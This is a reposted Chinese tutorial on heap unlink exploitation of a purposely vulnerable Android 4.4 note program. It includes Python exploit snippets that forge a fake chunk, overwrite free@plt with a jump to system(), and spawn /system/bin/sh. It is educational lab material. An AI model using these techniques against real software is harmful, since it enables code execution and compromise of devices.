unlink之android中的利用

来源:互联网 发布:伊藤美诚 知乎 编辑:程序博客网 时间:2024/05/22 11:49

本文转载自android中堆unlink利用学习
前面我们学习了64位和32位下unlink的利用,下面是android4.4模拟器上的一个Demo,基于这个Demo来具体分析android中unlink利用的原理。
代码下载

分析

该Demo是一个native可执行程序(源码),主要的功能是建立note并保存用户的输入到该note,每一个note的大小为0x80,总共可以新建10个note,每个note可以通过notes这个全局变量来索引。比如建立一个note,索引为0,note 0的内容为1234,然后把note 0的内容重新改为5678,接着释放掉note 0,最后退出程序。其操作如下。
这里写图片描述
然而在handle_cmd()函数中给notes中的note赋值时,没有对note_size进行检查,如果note_size大于0x80,会导致堆溢出。

利用

这里把利用过程分为6个步骤。
1. 新建note 0和note 1
2. 伪造相关数据
3. free(notes[1])触发unlink
4. 将free@plt的地址写入notes[0]
5. 修改free@plt的指令
6. 新建并释放notes[2]触发system(“/system/bin/sh”)
下面对每一个步骤进行详细的讲解。

准备

启动一个Android 4.4模拟器(arm),将unlink_demo、gdb和socat push到/data/local/tmp目录下。

adb push unlink_demo /data/local/tmpadb push gdb /data/local/tmpadb push socat /data/local/tmp

进入模拟器shell环境,通过socat将unlink_demo作为服务绑定到端口12345。

adb shellcd /data/local/tmp./socat tcp4-listen:12345,fork exec:./unlink_demo

在主机上配置端口转发。

adb forward tcp:12345 tcp:12345

step 1.新建note 0和note 1

self.__malloc_note(0, 4, "c" * 4)self.__malloc_note(1, 4, "c" * 4)

这里建立了两个note,内容均初始化为cccc,此时的内存布局如下图所示。
这里写图片描述
notes[0]中存的是note 0的起始地址,notes[1]中存的是note 1的起始地址。在使用malloc进行分配内存时,对于32位来说分配的内存是8字节对齐的,且实际分配内存的起始地址要比malloc的返回值小8,多出的8个字节表示前一个内存块的大小presize(如果前一个内存块是空闲的)和当前内存块的大小size,由于内存8字节对齐,因而size的低3位用作标志位。

step 2.伪造相关数据

首先来看一下android中空闲内存块的结构。
这里写图片描述
presize:前一个块的大小(如果前一个块是空闲的)
size:当前块的大小
F标志位:目前还没有用
C标志位:如果当前块已被分配,置1;否则,置0
P标志位:如果前一个块已被分配,置1;否则,置0
如果C、P都是0,表示该内存块是通过mmap得到的,这也说明了在内存中不存在两个连续相邻的大内存块。(android中空闲内存块标志位的含义和Linux的不一样)
fd:下一个空闲内存块的地址
bk:上一个空闲内存块的地址
回顾unlink的关键操作如下。

//将 p 移除链表F = p -> fd;B = p -> bk;if (F -> bk == p && B -> fd == p){  F -> bk = B;  B -> fd = F;}

向note 0填充0x88字节的内容,多出的8个字节将会覆盖note 1的presize和size&flag。那么如何构造填充的内容以便free(notes[1])的时候触发unlink呢?首先修改note 1中的P标志位,将其置0,这样就会认为前一个块note 0是空闲的,然后将note 1内存块的presize字段改为0x80,这样就会认为前一个内存块大小只有0x80(包括presize、size&flag、fd和bk),且这0x80字节的内容完全可控,最后伪造空闲块的fd和bk。由于unlink时会对unlink的节点的合法性进行检查,因而fd和bk不能随便构造。全局变量notes刚好指向note 0的起始地址,把它认为是伪造空闲块的chunk ptr,当fake_free_note->fake_fd = notes - 12,fake_free_note->fake_bk = notes - 8时就可以绕过unlink的检查。具体的构造代码如下。

notes_addr = int(raw_input("notes address:"), 16)# "c"*8 + fake_fd + fake_bk + "c"*0x70 + fake_presize + modify_pre_inuse_flagnote0_content = "c" * 8 + p32(notes_addr - 12) + p32(notes_addr - 8) + "c" * 0x70 + p32(0x80) + p32(0x88 | 0x02)self.__edit_note(0, 0x88, note0_content)

其中notes_addr的值可以通过gdb获得(记得退出gdb)。
这里写图片描述
此时的内存布局如下。
这里写图片描述

self.__free_note(1)  # free notes[1]

由于在note 1前面构造了一个伪造的空闲内存块,当free(notes[1])时,就会对伪造的空闲内存块进行unlink操作。unlink后,notes[0]存的不再是note 0的起始地址了,而是notes-12。此时notes数组的内存布局如下。
这里写图片描述

step 4.将free@plt的地址写入notes[0]

我们可以将任意值写入notes[0],这里将.plt section中free的地址写入notes[0]。

note0_content = "c" * 12 + p32(self.free_plt_addr)self.__edit_note(0, 0x10, note0_content)

在IDA中查看free_plt_addr为0x8558。
这里写图片描述
此时notes数组的内存布局如下。
这里写图片描述

step 5.修改free@plt的指令

为了调用free()时实际调用的是system(),这里需要将free@plt函数的指令修改使其跳转到system()函数。首先拿到模拟器上的libc.so。

adb pull /system/lib/libc.so

然后查看system函数的偏移。
这里写图片描述
可见system指令为thumb指令,在libc.so中的偏移为system_offset=0x246A1。接着通过读取/proc/pid/maps得到libc.so的基址libc_base,从而system()在内存中的实际地址就是system_addr=libc_base+system_offset。将free@plt的指令修改为如下所示。

LDR R1, [PC]BLX R1system_addr

假如system_addr为0xB124A561,那么上面指令的机器码如下。

00109FE531FF2FE161A524B1

具体的代码如下。

note0_content = p32(0xE59F1000) + p32(0xE12FFF31) + p32(self.system_addr)self.__edit_note(0, 0xC, note0_content)

在unlink_demo中.got section所在segment的flags是可写的,但是一运行起来从/proc/pid/maps得到的结果却是该segment只读。于是只好修改unlink_demo文件中代码段的属性为可读写,这样就可以运行时修改free@plt的指令了。

step 6.新建并释放notes[2]触发system(“/system/bin/sh”)

self.__malloc_note(2, 0xE, "/system/bin/sh")self.__free_note(2)

当free(notes[2])时,由于free@plt会直接跳转到system(),所以这里相当于调用system(notes[2]),而notes[2]指向“/system/bin/sh”,所以这里相当于执行system(“/system/bin/sh”),从而得到shell,利用成功!

结果

运行利用程序exp_unlink.py,通过gdb得到notes的地址,最后的运行结果如下。
这里写图片描述
将how2heap中unsafe_unlink.c修改为32位后在android模拟器上是运行不成功的,通过对比Linux和android unlink时的源码发现,在android中多了一条检测条件:ok_address(M, F),就是检查F地址的合法性,因为malloc/free绝对不会向一个静态地址写数据。于是将unsafe_unlink.c中uint32_t* pointer_vector[10];改为uint32_t** pointer_vector; pointer_vector=(uint32_t**)malloc(10*sizeof(uint32_t));就可以在android上跑通了。